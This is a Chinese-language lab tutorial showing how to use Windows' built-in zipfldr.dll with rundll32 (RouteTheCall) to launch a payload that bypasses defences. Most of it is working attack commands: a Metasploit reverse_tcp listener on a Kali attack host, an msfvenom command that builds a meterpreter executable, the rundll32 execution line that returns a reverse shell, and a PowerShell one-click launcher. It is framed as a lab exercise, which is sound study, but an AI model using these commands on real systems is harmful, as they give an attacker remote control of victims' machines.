环境说明
IP | HOSTNAME | NOTE |
|---|---|---|
10.10.10.94 | Win7 | 靶机 |
10.10.10.93 | Kali | 攻击机 |
相关脚本
| 内容 | 下载 |
|---|---|
powershell脚本 | 点击下载 |
zipfldr.dll简介:
-
zipfldr.dll是自Windows xp就开始自带的zip文件压缩/解压工具组件。 -
说明:
zipfldr.dll所在路径已被系统添加到PATH环境变量中,因此,zipfldr.dll命令可识别,但由于为dll文件,所以需要调用rundll32.exe来执行。 -
Windows 2003默认位置:
C:\Windows\System32\zipfldr.dll
C:\Windows\SysWOW64\zipfldr.dll
配置攻击机MSF
攻击机开启监听:
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 4444
set lhost 10.10.10.93
exploit

生成payload文件:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.10.93 LPORT=4444 -f exe > reverse.exe
靶机执行
靶机执行并反弹shell
rundll32.exe zipfldr.dll,RouteTheCall reverse.exe


powershell一键执行脚本代码:
$rundll32_path = "C:\Windows\SysWOW64\rundll32.exe"
$malicious_dll_path = "C:\Users\aesteam3\Desktop\reverse.exe"
Start-Process -FilePath $rundll32_path -ArgumentList "zipfldr.dll,RouteTheCall $malicious_dll_path"